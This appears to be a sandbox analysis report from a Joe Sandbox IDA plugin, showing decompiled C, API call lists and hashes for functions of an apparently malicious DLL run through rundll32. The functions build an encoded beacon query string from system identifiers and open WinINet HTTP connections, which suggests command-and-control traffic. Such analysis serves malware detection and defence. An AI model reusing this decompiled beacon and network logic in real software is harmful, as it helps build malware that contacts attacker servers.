                  • Opcode ID: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                  • Instruction ID: ef41f5eef8a7a018206be64d789f6ebfb4eafea4b4c0f68430cae2e151c5e7a6
                  • Opcode Fuzzy Hash: 5dd26fff624a50198c0bd826f45a2e4ef6e885f587514f0e64cb0fed618db76f
                  • Instruction Fuzzy Hash: EFF012B690020CBFDB119FA5CC85CAFBBBDEB44394B10497AF152E1090D630AE089A60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D53CE0 Relevance: 37.7, APIs: 25, Instructions: 222memorystringCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 69%
                  			E04D53CE0(long __eax, void* __ecx, void* __edx, void* _a12, intOrPtr _a20) {
				intOrPtr _v4;
				intOrPtr _v8;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				intOrPtr _v32;
				void* _v48;
				intOrPtr _v56;
				void* __edi;
				intOrPtr _t30;
				void* _t31;
				intOrPtr _t33;
				intOrPtr _t34;
				intOrPtr _t35;
				intOrPtr _t36;
				intOrPtr _t37;
				void* _t40;
				intOrPtr _t41;
				int _t44;
				intOrPtr _t45;
				int _t48;
				void* _t49;
				intOrPtr _t53;
				intOrPtr _t59;
				intOrPtr _t63;
				intOrPtr* _t65;
				void* _t66;
				intOrPtr _t71;
				intOrPtr _t77;
				intOrPtr _t80;
				intOrPtr _t83;
				int _t86;
				intOrPtr _t88;
				int _t91;
				intOrPtr _t93;
				int _t96;
				void* _t98;
				void* _t99;
				void* _t103;
				void* _t105;
				void* _t106;
				intOrPtr _t107;
				long _t109;
				intOrPtr* _t110;
				intOrPtr* _t111;
				long _t112;
				int _t113;
				void* _t114;
				void* _t115;
				void* _t116;
				void* _t119;
				void* _t120;
				void* _t122;
				void* _t123;

				_t103 = __edx;
				_t99 = __ecx;
				_t120 =  &_v16;
				_t112 = __eax;
				_t30 =  *0x4d5a3e0; // 0x5c79be0
				_v4 = _t30;
				_v8 = 8;
				_t31 = RtlAllocateHeap( *0x4d5a2d8, 0, 0x800); // executed
				_t98 = _t31;
				if(_t98 != 0) {
					if(_t112 == 0) {
						_t112 = GetTickCount();
					}
					_t33 =  *0x4d5a018; // 0xffd58d38
					asm("bswap eax");
					_t34 =  *0x4d5a014; // 0x3a87c8cd
					asm("bswap eax");
					_t35 =  *0x4d5a010; // 0xd8d2f808
					asm("bswap eax");
					_t36 =  *0x4d5a00c; // 0xeec43f25
					asm("bswap eax");
					_t37 =  *0x4d5a348; // 0xf1d5a8
					_t3 = _t37 + 0x4d5b5ac; // 0x74666f73
					_t113 = wsprintfA(_t98, _t3, 2, 0x3d18f, _t36, _t35, _t34, _t33,  *0x4d5a02c,  *0x4d5a004, _t112);
					_t40 = E04D5467F();
					_t41 =  *0x4d5a348; // 0xf1d5a8
					_t4 = _t41 + 0x4d5b575; // 0x74707526
					_t44 = wsprintfA(_t113 + _t98, _t4, _t40);
					_t122 = _t120 + 0x38;
					_t114 = _t113 + _t44;
					if(_a12 != 0) {
						_t93 =  *0x4d5a348; // 0xf1d5a8
						_t8 = _t93 + 0x4d5b508; // 0x732526
						_t96 = wsprintfA(_t114 + _t98, _t8, _a12);
						_t122 = _t122 + 0xc;
						_t114 = _t114 + _t96;
					}
					_t45 =  *0x4d5a348; // 0xf1d5a8
					_t10 = _t45 + 0x4d5b246; // 0x74636126
					_t48 = wsprintfA(_t114 + _t98, _t10, 0);
					_t123 = _t122 + 0xc;
					_t115 = _t114 + _t48; // executed
					_t49 = E04D5472F(_t99); // executed
					_t105 = _t49;
					if(_t105 != 0) {
						_t88 =  *0x4d5a348; // 0xf1d5a8
						_t12 = _t88 + 0x4d5b8d0; // 0x736e6426
						_t91 = wsprintfA(_t115 + _t98, _t12, _t105);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t91;
						HeapFree( *0x4d5a2d8, 0, _t105);
					}
					_t106 = E04D51340();
					if(_t106 != 0) {
						_t83 =  *0x4d5a348; // 0xf1d5a8
						_t14 = _t83 + 0x4d5b8c5; // 0x6f687726
						_t86 = wsprintfA(_t115 + _t98, _t14, _t106);
						_t123 = _t123 + 0xc;
						_t115 = _t115 + _t86;
						HeapFree( *0x4d5a2d8, 0, _t106);
					}
					_t107 =  *0x4d5a3cc; // 0x5c79600
					_a20 = E04D56B59( &E04D5A00A, _t107 + 4);
					_t53 =  *0x4d5a36c; // 0x5c795b0
					_t109 = 0;
					if(_t53 != 0) {
						_t80 =  *0x4d5a348; // 0xf1d5a8
						_t17 = _t80 + 0x4d5b8be; // 0x3d736f26
						wsprintfA(_t115 + _t98, _t17, _t53);
					}
					if(_a20 != _t109) {
						_t116 = RtlAllocateHeap( *0x4d5a2d8, _t109, 0x800);
						if(_t116 != _t109) {
							E04D52915(GetTickCount());
							_t59 =  *0x4d5a3cc; // 0x5c79600
							__imp__(_t59 + 0x40);
							asm("lock xadd [eax], ecx");
							_t63 =  *0x4d5a3cc; // 0x5c79600
							__imp__(_t63 + 0x40);
							_t65 =  *0x4d5a3cc; // 0x5c79600
							_t66 = E04D56675(1, _t103, _t98,  *_t65); // executed
							_t119 = _t66;
							asm("lock xadd [eax], ecx");
							if(_t119 != _t109) {
								StrTrimA(_t119, 0x4d59280);
								_push(_t119);
								_t71 = E04D57563();
								_v20 = _t71;
								if(_t71 != _t109) {
									_t110 = __imp__;
									 *_t110(_t119, _v8);
									 *_t110(_t116, _v8);
									_t111 = __imp__;
									 *_t111(_t116, _v32);
									 *_t111(_t116, _t119);
									_t77 = E04D521A6(0xffffffffffffffff, _t116, _v28, _v24); // executed
									_v56 = _t77;
									if(_t77 != 0 && _t77 != 0x10d2) {
										E04D563F6();
									}
									HeapFree( *0x4d5a2d8, 0, _v48);
									_t109 = 0;
								}
								HeapFree( *0x4d5a2d8, _t109, _t119);
							}
							RtlFreeHeap( *0x4d5a2d8, _t109, _t116); // executed
						}
						HeapFree( *0x4d5a2d8, _t109, _a12);
					}
					RtlFreeHeap( *0x4d5a2d8, _t109, _t98); // executed
				}
				return _v16;
			}


























































                  0x04d53ce0
                  0x04d53ce0
                  0x04d53ce0
                  0x04d53cf5
                  0x04d53cf7
                  0x04d53cfc
                  0x04d53d00
                  0x04d53d08
                  0x04d53d0e
                  0x04d53d12
                  0x04d53d1a
                  0x04d53d22
                  0x04d53d22
                  0x04d53d24
                  0x04d53d30
                  0x04d53d3f
                  0x04d53d44
                  0x04d53d47
                  0x04d53d4c
                  0x04d53d4f
                  0x04d53d54
                  0x04d53d57
                  0x04d53d63
                  0x04d53d70
                  0x04d53d72
                  0x04d53d78
                  0x04d53d7d
                  0x04d53d88
                  0x04d53d8a
                  0x04d53d8d
                  0x04d53d93
                  0x04d53d95
                  0x04d53d9e
                  0x04d53da9
                  0x04d53dab
                  0x04d53dae
                  0x04d53dae
                  0x04d53db0
                  0x04d53db5
                  0x04d53dc1
                  0x04d53dc3
                  0x04d53dc6
                  0x04d53dc8
                  0x04d53dcd
                  0x04d53dd1
                  0x04d53dd3
                  0x04d53dd8
                  0x04d53de4
                  0x04d53de6
                  0x04d53df2
                  0x04d53df4
                  0x04d53df4
                  0x04d53dff
                  0x04d53e03
                  0x04d53e05
                  0x04d53e0a
                  0x04d53e16
                  0x04d53e18
                  0x04d53e24
                  0x04d53e26
                  0x04d53e26
                  0x04d53e2c
                  0x04d53e3f
                  0x04d53e43
                  0x04d53e48
                  0x04d53e4c
                  0x04d53e4f
                  0x04d53e54
                  0x04d53e5e
                  0x04d53e60
                  0x04d53e67
                  0x04d53e7f
                  0x04d53e83
                  0x04d53e8f
                  0x04d53e94
                  0x04d53e9d
                  0x04d53eae
                  0x04d53eb2
                  0x04d53ebb
                  0x04d53ec1
                  0x04d53ec9
                  0x04d53ece
                  0x04d53edb
                  0x04d53ee1
                  0x04d53eed
                  0x04d53ef3
                  0x04d53ef4
                  0x04d53ef9
                  0x04d53eff
                  0x04d53f05
                  0x04d53f0c
                  0x04d53f13
                  0x04d53f19
                  0x04d53f20
                  0x04d53f24
                  0x04d53f2f
                  0x04d53f34
                  0x04d53f3a
                  0x04d53f43
                  0x04d53f43
                  0x04d53f54
                  0x04d53f5a
                  0x04d53f5a
                  0x04d53f64
                  0x04d53f64
                  0x04d53f72
                  0x04d53f72
                  0x04d53f83
                  0x04d53f83
                  0x04d53f91
                  0x04d53f91
                  0x04d53fa2

                  APIs
                  • RtlAllocateHeap.NTDLL ref: 04D53D08
                  • GetTickCount.KERNEL32 ref: 04D53D1C
                  • wsprintfA.USER32 ref: 04D53D6B
                  • wsprintfA.USER32 ref: 04D53D88
                  • wsprintfA.USER32 ref: 04D53DA9
                  • wsprintfA.USER32 ref: 04D53DC1
                  • wsprintfA.USER32 ref: 04D53DE4
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04D53DF4
                  • wsprintfA.USER32 ref: 04D53E16
                  • HeapFree.KERNEL32(00000000,00000000), ref: 04D53E26
                  • wsprintfA.USER32 ref: 04D53E5E
                  • RtlAllocateHeap.NTDLL(00000000,00000800), ref: 04D53E79
                  • GetTickCount.KERNEL32 ref: 04D53E89
                  • RtlEnterCriticalSection.NTDLL(05C795C0), ref: 04D53E9D
                  • RtlLeaveCriticalSection.NTDLL(05C795C0), ref: 04D53EBB
                    • Part of subcall function 04D56675: lstrlen.KERNEL32(00000000,00000000,253D7325,00000000,00000000,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D566A0
                    • Part of subcall function 04D56675: lstrlen.KERNEL32(00000000,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D566A8
                    • Part of subcall function 04D56675: strcpy.NTDLL ref: 04D566BF
                    • Part of subcall function 04D56675: lstrcat.KERNEL32(00000000,00000000), ref: 04D566CA
                    • Part of subcall function 04D56675: StrTrimA.SHLWAPI(00000000,=,00000000,00000000,04D53ECE,?,7491C740,04D53ECE,00000000,05C79600), ref: 04D566E7
                  • StrTrimA.SHLWAPI(00000000,04D59280,00000000,05C79600), ref: 04D53EED
                    • Part of subcall function 04D57563: lstrlen.KERNEL32(05C79BD0,00000000,00000000,00000000,04D53EF9,00000000), ref: 04D57573
                    • Part of subcall function 04D57563: lstrlen.KERNEL32(?), ref: 04D5757B
                    • Part of subcall function 04D57563: lstrcpy.KERNEL32(00000000,05C79BD0), ref: 04D5758F
                    • Part of subcall function 04D57563: lstrcat.KERNEL32(00000000,?), ref: 04D5759A
                  • lstrcpy.KERNEL32(00000000,?), ref: 04D53F0C
                  • lstrcpy.KERNEL32(00000000,?), ref: 04D53F13
                  • lstrcat.KERNEL32(00000000,?), ref: 04D53F20
                  • lstrcat.KERNEL32(00000000,00000000), ref: 04D53F24
                    • Part of subcall function 04D521A6: WaitForSingleObject.KERNEL32(00000000,74CF81D0,00000000,00000000,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 04D52258
                  • HeapFree.KERNEL32(00000000,?,00000000,?,?), ref: 04D53F54
                  • HeapFree.KERNEL32(00000000,00000000,00000000), ref: 04D53F64
                  • RtlFreeHeap.NTDLL(00000000,00000000,00000000,05C79600), ref: 04D53F72
                  • HeapFree.KERNEL32(00000000,?), ref: 04D53F83
                  • RtlFreeHeap.NTDLL(00000000,00000000), ref: 04D53F91
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Heap$Freewsprintf$lstrcatlstrlen$lstrcpy$AllocateCountCriticalSectionTickTrim$EnterLeaveObjectSingleWaitstrcpy
                  • String ID:
                  • API String ID: 186568778-0
                  • Opcode ID: ce63d1d6232cdcdb502cf4943ef3523e9729e4cbf9e79f2337d5f68ffb941c5e
                  • Instruction ID: 416ece0a0232fc52ad90cfee82a8bfeb73a3c59b7ee82ecb27167c8c9184d6c8
                  • Opcode Fuzzy Hash: ce63d1d6232cdcdb502cf4943ef3523e9729e4cbf9e79f2337d5f68ffb941c5e
                  • Instruction Fuzzy Hash: 9A719E71600324AFDB11ABA8EC69E5B3BECFB88744B050655F909D3320DE3AED05DB61
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D57B83 Relevance: 19.6, APIs: 13, Instructions: 126networkstringCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  C-Code - Quality: 92%
                  			E04D57B83(void* __eax, void* __ecx, long __esi, char* _a4) {
				void _v8;
				long _v12;
				void _v16;
				void* _t34;
				void* _t38;
				void* _t40;
				char* _t56;
				long _t57;
				void* _t58;
				intOrPtr _t59;
				long _t65;

				_t65 = __esi;
				_t58 = __ecx;
				_v16 = 0xea60;
				__imp__( *(__esi + 4));
				_v12 = __eax + __eax;
				_t56 = E04D533DC(__eax + __eax + 1);
				if(_t56 != 0) {
					if(InternetCanonicalizeUrlA( *(__esi + 4), _t56,  &_v12, 0) == 0) {
						E04D561DA(_t56);
					} else {
						E04D561DA( *(__esi + 4));
						 *(__esi + 4) = _t56;
					}
				}
				_t34 = InternetOpenA(_a4, 0, 0, 0, 0x10000000); // executed
				 *(_t65 + 0x10) = _t34;
				if(_t34 == 0 || InternetSetStatusCallback(_t34, E04D57B18) == 0xffffffff) {
					L15:
					return GetLastError();
				} else {
					ResetEvent( *(_t65 + 0x1c));
					_t38 = InternetConnectA( *(_t65 + 0x10),  *_t65, 0x50, 0, 0, 3, 0, _t65); // executed
					 *(_t65 + 0x14) = _t38;
					if(_t38 != 0 || GetLastError() == 0x3e5 && E04D516B2( *(_t65 + 0x1c), _t58, 0xea60) == 0) {
						_t59 =  *0x4d5a348; // 0xf1d5a8
						_t15 = _t59 + 0x4d5b845; // 0x544547
						_v8 = 0x84404000;
						_t40 = HttpOpenRequestA( *(_t65 + 0x14), _t15,  *(_t65 + 4), 0, 0, 0, 0x84404000, _t65); // executed
						 *(_t65 + 0x18) = _t40;
						if(_t40 == 0) {
							goto L15;
						}
						_t57 = 4;
						_v12 = _t57;
						if(InternetQueryOptionA(_t40, 0x1f,  &_v8,  &_v12) != 0) {
							_v8 = _v8 | 0x00000100;
							InternetSetOptionA( *(_t65 + 0x18), 0x1f,  &_v8, _t57);
						}
						if(InternetSetOptionA( *(_t65 + 0x18), 6,  &_v16, _t57) == 0 || InternetSetOptionA( *(_t65 + 0x18), 5,  &_v16, _t57) == 0) {
							goto L15;
						} else {
							return 0;
						}
					} else {
						goto L15;
					}
				}
			}














                  0x04d57b83
                  0x04d57b83
                  0x04d57b8e
                  0x04d57b95
                  0x04d57b9d
                  0x04d57ba7
                  0x04d57bad
                  0x04d57bc0
                  0x04d57bd0
                  0x04d57bc2
                  0x04d57bc5
                  0x04d57bca
                  0x04d57bca
                  0x04d57bc0
                  0x04d57be0
                  0x04d57be6
                  0x04d57beb
                  0x04d57cd4
                  0x00000000
                  0x04d57c06
                  0x04d57c09
                  0x04d57c1c
                  0x04d57c22
                  0x04d57c27
                  0x04d57c4f
                  0x04d57c62
                  0x04d57c6c
                  0x04d57c6f
                  0x04d57c75
                  0x04d57c7a
                  0x00000000
                  0x00000000
                  0x04d57c7e
                  0x04d57c8a
                  0x04d57c9b
                  0x04d57c9d
                  0x04d57cae
                  0x04d57cae
                  0x04d57cbe
                  0x00000000
                  0x04d57cd0
                  0x00000000
                  0x04d57cd0
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d57c27

                  APIs
                  • lstrlen.KERNEL32(?,00000008,74CB4D40), ref: 04D57B95
                    • Part of subcall function 04D533DC: RtlAllocateHeap.NTDLL(00000000,00000000,04D562F6), ref: 04D533E8
                  • InternetCanonicalizeUrlA.WININET(?,00000000,00000000,00000000), ref: 04D57BB8
                  • InternetOpenA.WININET(00000000,00000000,00000000,00000000,10000000), ref: 04D57BE0
                  • InternetSetStatusCallback.WININET(00000000,04D57B18), ref: 04D57BF7
                  • ResetEvent.KERNEL32(?), ref: 04D57C09
                  • InternetConnectA.WININET(?,?,00000050,00000000,00000000,00000003,00000000,?), ref: 04D57C1C
                  • GetLastError.KERNEL32 ref: 04D57C29
                  • HttpOpenRequestA.WININET(?,00544547,?,00000000,00000000,00000000,84404000,?), ref: 04D57C6F
                  • InternetQueryOptionA.WININET(00000000,0000001F,00000000,00000000), ref: 04D57C8D
                  • InternetSetOptionA.WININET(?,0000001F,00000100,00000004), ref: 04D57CAE
                  • InternetSetOptionA.WININET(?,00000006,0000EA60,00000004), ref: 04D57CBA
                  • InternetSetOptionA.WININET(?,00000005,0000EA60,00000004), ref: 04D57CCA
                  • GetLastError.KERNEL32 ref: 04D57CD4
                    • Part of subcall function 04D561DA: RtlFreeHeap.NTDLL(00000000,00000000,04D56383,00000000,?,00000000,00000000), ref: 04D561E6
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: Internet$Option$ErrorHeapLastOpen$AllocateCallbackCanonicalizeConnectEventFreeHttpQueryRequestResetStatuslstrlen
                  • String ID:
                  • API String ID: 2290446683-0
                  • Opcode ID: 968cec08773e4280167045ec65f0a41a294820a294e0d122801e77c1778571c7
                  • Instruction ID: 9984d0fb726cd5233f807a00996e78fce0b00c4154b01f0696bb5f1f08523b8d
                  • Opcode Fuzzy Hash: 968cec08773e4280167045ec65f0a41a294820a294e0d122801e77c1778571c7
                  • Instruction Fuzzy Hash: B8416D71600744BBDB31AFA5DC58E6B7BBDFB44704F204958FA02D22A0EF35AA44CB20
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D57FC5 Relevance: 19.5, APIs: 10, Strings: 1, Instructions: 209libraryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
                  control_flow_graph 65 4d57fc5-4d5802a 66 4d5802c-4d58046 RaiseException 65->66 67 4d5804b-4d58075 65->67 68 4d581fb-4d581ff 66->68 69 4d58077 67->69 70 4d5807a-4d58086 67->70 69->70 71 4d58099-4d5809b 70->71 72 4d58088-4d58093 70->72 73 4d580a1-4d580a8 71->73 74 4d58143-4d5814d 71->74 72->71 82 4d581de-4d581e5 72->82 78 4d580b8-4d580c5 LoadLibraryA 73->78 79 4d580aa-4d580b6 73->79 76 4d5814f-4d58157 74->76 77 4d58159-4d5815b 74->77 76->77 83 4d5815d-4d58160 77->83 84 4d581d9-4d581dc 77->84 80 4d580c7-4d580d7 GetLastError 78->80 81 4d58108-4d58114 InterlockedExchange 78->81 79->78 79->81 87 4d580e7-4d58103 RaiseException 80->87 88 4d580d9-4d580e5 80->88 89 4d58116-4d5811a 81->89 90 4d5813c-4d5813d FreeLibrary 81->90 92 4d581e7-4d581f4 82->92 93 4d581f9 82->93 85 4d58162-4d58165 83->85 86 4d5818e-4d5819c GetProcAddress 83->86 84->82 85->86 95 4d58167-4d58172 85->95 86->84 96 4d5819e-4d581ae GetLastError 86->96 87->68 88->81 88->87 89->74 97 4d5811c-4d58128 LocalAlloc 89->97 90->74 92->93 93->68 95->86 98 4d58174-4d5817a 95->98 100 4d581b0-4d581b8 96->100 101 4d581ba-4d581bc 96->101 97->74 102 4d5812a-4d5813a 97->102 98->86 103 4d5817c-4d5817f 98->103 100->101 101->84 104 4d581be-4d581d6 RaiseException 101->104 102->74 103->86 105 4d58181-4d5818c 103->105 104->84 105->84 105->86
                  C-Code - Quality: 51%
                  			E04D57FC5(long _a4, long _a8) {
				signed int _v8;
				intOrPtr _v16;
				LONG* _v28;
				long _v40;
				long _v44;
				long _v48;
				CHAR* _v52;
				long _v56;
				CHAR* _v60;
				long _v64;
				signed int* _v68;
				char _v72;
				signed int _t76;
				signed int _t80;
				signed int _t81;
				intOrPtr* _t82;
				intOrPtr* _t83;
				intOrPtr* _t85;
				intOrPtr* _t90;
				intOrPtr* _t95;
				intOrPtr* _t98;
				struct HINSTANCE__* _t99;
				void* _t102;
				intOrPtr* _t104;
				void* _t115;
				long _t116;
				void _t125;
				void* _t131;
				signed short _t133;
				struct HINSTANCE__* _t138;
				signed int* _t139;

				_t139 = _a4;
				_v28 = _t139[2] + 0x4d50000;
				_t115 = _t139[3] + 0x4d50000;
				_t131 = _t139[4] + 0x4d50000;
				_v8 = _t139[7];
				_v60 = _t139[1] + 0x4d50000;
				_v16 = _t139[5] + 0x4d50000;
				_v64 = _a8;
				_v72 = 0x24;
				_v68 = _t139;
				_v56 = 0;
				asm("stosd");
				_v48 = 0;
				_v44 = 0;
				_v40 = 0;
				if(( *_t139 & 0x00000001) == 0) {
					_a8 =  &_v72;
					RaiseException(0xc06d0057, 0, 1,  &_a8);
					return 0;
				}
				_t138 =  *_v28;
				_t76 = _a8 - _t115 >> 2 << 2;
				_t133 =  *(_t131 + _t76);
				_a4 = _t76;
				_t80 =  !(_t133 >> 0x1f) & 0x00000001;
				_v56 = _t80;
				_t81 = _t133 + 0x4d50002;
				if(_t80 == 0) {
					_t81 = _t133 & 0x0000ffff;
				}
				_v52 = _t81;
				_t82 =  *0x4d5a1c0; // 0x0
				_t116 = 0;
				if(_t82 == 0) {
					L6:
					if(_t138 != 0) {
						L18:
						_t83 =  *0x4d5a1c0; // 0x0
						_v48 = _t138;
						if(_t83 != 0) {
							_t116 =  *_t83(2,  &_v72);
						}
						if(_t116 != 0) {
							L32:
							 *_a8 = _t116;
							L33:
							_t85 =  *0x4d5a1c0; // 0x0
							if(_t85 != 0) {
								_v40 = _v40 & 0x00000000;
								_v48 = _t138;
								_v44 = _t116;
								 *_t85(5,  &_v72);
							}
							return _t116;
						} else {
							if(_t139[5] == _t116 || _t139[7] == _t116) {
								L27:
								_t116 = GetProcAddress(_t138, _v52);
								if(_t116 == 0) {
									_v40 = GetLastError();
									_t90 =  *0x4d5a1bc; // 0x0
									if(_t90 != 0) {
										_t116 =  *_t90(4,  &_v72);
									}
									if(_t116 == 0) {
										_a4 =  &_v72;
										RaiseException(0xc06d007f, _t116, 1,  &_a4);
										_t116 = _v44;
									}
								}
								goto L32;
							} else {
								_t95 =  *((intOrPtr*)(_t138 + 0x3c)) + _t138;
								if( *_t95 == 0x4550 &&  *((intOrPtr*)(_t95 + 8)) == _v8 && _t138 ==  *((intOrPtr*)(_t95 + 0x34))) {
									_t116 =  *(_a4 + _v16);
									if(_t116 != 0) {
										goto L32;
									}
								}
								goto L27;
							}
						}
					}
					_t98 =  *0x4d5a1c0; // 0x0
					if(_t98 == 0) {
						L9:
						_t99 = LoadLibraryA(_v60); // executed
						_t138 = _t99;
						if(_t138 != 0) {
							L13:
							if(InterlockedExchange(_v28, _t138) == _t138) {
								FreeLibrary(_t138);
							} else {
								if(_t139[6] != 0) {
									_t102 = LocalAlloc(0x40, 8);
									if(_t102 != 0) {
										 *(_t102 + 4) = _t139;
										_t125 =  *0x4d5a1b8; // 0x0
										 *_t102 = _t125;
										 *0x4d5a1b8 = _t102;
									}
								}
							}
							goto L18;
						}
						_v40 = GetLastError();
						_t104 =  *0x4d5a1bc; // 0x0
						if(_t104 == 0) {
							L12:
							_a8 =  &_v72;
							RaiseException(0xc06d007e, 0, 1,  &_a8);
							return _v44;
						}
						_t138 =  *_t104(3,  &_v72);
						if(_t138 != 0) {
							goto L13;
						}
						goto L12;
					}
					_t138 =  *_t98(1,  &_v72);
					if(_t138 != 0) {
						goto L13;
					}
					goto L9;
				}
				_t116 =  *_t82(0,  &_v72);
				if(_t116 != 0) {
					goto L33;
				}
				goto L6;
			}


































                  0x04d57fd4
                  0x04d57fea
                  0x04d57ff0
                  0x04d57ff2
                  0x04d57ff7
                  0x04d57ffd
                  0x04d58002
                  0x04d58005
                  0x04d58013
                  0x04d5801a
                  0x04d5801d
                  0x04d58020
                  0x04d58021
                  0x04d58024
                  0x04d58027
                  0x04d5802a
                  0x04d5802f
                  0x04d5803e
                  0x00000000
                  0x04d58044
                  0x04d5804e
                  0x04d58058
                  0x04d5805d
                  0x04d5805f
                  0x04d58069
                  0x04d5806c
                  0x04d5806f
                  0x04d58075
                  0x04d58077
                  0x04d58077
                  0x04d5807a
                  0x04d5807d
                  0x04d58082
                  0x04d58086
                  0x04d58099
                  0x04d5809b
                  0x04d58143
                  0x04d58143
                  0x04d5814a
                  0x04d5814d
                  0x04d58157
                  0x04d58157
                  0x04d5815b
                  0x04d581d9
                  0x04d581dc
                  0x04d581de
                  0x04d581de
                  0x04d581e5
                  0x04d581e7
                  0x04d581f1
                  0x04d581f4
                  0x04d581f7
                  0x04d581f7
                  0x00000000
                  0x04d5815d
                  0x04d58160
                  0x04d5818e
                  0x04d58198
                  0x04d5819c
                  0x04d581a4
                  0x04d581a7
                  0x04d581ae
                  0x04d581b8
                  0x04d581b8
                  0x04d581bc
                  0x04d581c1
                  0x04d581d0
                  0x04d581d6
                  0x04d581d6
                  0x04d581bc
                  0x00000000
                  0x04d58167
                  0x04d5816a
                  0x04d58172
                  0x04d58187
                  0x04d5818c
                  0x00000000
                  0x00000000
                  0x04d5818c
                  0x00000000
                  0x04d58172
                  0x04d58160
                  0x04d5815b
                  0x04d580a1
                  0x04d580a8
                  0x04d580b8
                  0x04d580bb
                  0x04d580c1
                  0x04d580c5
                  0x04d58108
                  0x04d58114
                  0x04d5813d
                  0x04d58116
                  0x04d5811a
                  0x04d58120
                  0x04d58128
                  0x04d5812a
                  0x04d5812d
                  0x04d58133
                  0x04d58135
                  0x04d58135
                  0x04d58128
                  0x04d5811a
                  0x00000000
                  0x04d58114
                  0x04d580cd
                  0x04d580d0
                  0x04d580d7
                  0x04d580e7
                  0x04d580ea
                  0x04d580fa
                  0x00000000
                  0x04d58100
                  0x04d580e1
                  0x04d580e5
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d580e5
                  0x04d580b2
                  0x04d580b6
                  0x00000000
                  0x00000000
                  0x00000000
                  0x04d580b6
                  0x04d5808f
                  0x04d58093
                  0x00000000
                  0x00000000
                  0x00000000

                  APIs
                  • RaiseException.KERNEL32(C06D0057,00000000,00000001,?), ref: 04D5803E
                  • LoadLibraryA.KERNEL32(?), ref: 04D580BB
                  • GetLastError.KERNEL32 ref: 04D580C7
                  • RaiseException.KERNEL32(C06D007E,00000000,00000001,?), ref: 04D580FA
                  Strings
                  Memory Dump Source
                  • Source File: 00000005.00000002.776631120.0000000004D51000.00000020.10000000.00040000.00000000.sdmp, Offset: 04D50000, based on PE: true
                  • Associated: 00000005.00000002.776617376.0000000004D50000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776655851.0000000004D59000.00000002.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776665284.0000000004D5A000.00000004.10000000.00040000.00000000.sdmpDownload File
                  • Associated: 00000005.00000002.776675683.0000000004D5C000.00000002.10000000.00040000.00000000.sdmpDownload File
                  Joe Sandbox IDA Plugin
                  • Snapshot File: hcaresult_5_2_4d50000_rundll32.jbxd
                  Similarity
                  • API ID: ExceptionRaise$ErrorLastLibraryLoad
                  • String ID: $
                  • API String ID: 948315288-3993045852
                  • Opcode ID: 6bdd927e2e8d1b1062dd6b9d5a421297d86b5a20ac6e8a35acd523d883991dee
                  • Instruction ID: c2c8b81db5368c2ce00e253e3fd5f2a3a88dacea206487b987d8aa06ce5e9294
                  • Opcode Fuzzy Hash: 6bdd927e2e8d1b1062dd6b9d5a421297d86b5a20ac6e8a35acd523d883991dee
                  • Instruction Fuzzy Hash: F5811671A00305AFDB10EFA8D891AAEB7F9FB48311F148129F905E7350EB74E904DB60
                  Uniqueness

                  Uniqueness Score: -1.00%

                  Function 04D56815 Relevance: 16.7, APIs: 11, Instructions: 151timememoryCOMMON
                  Download Yara Rule

                  Control-flow Graph

                  • Executed
                  • Not Executed
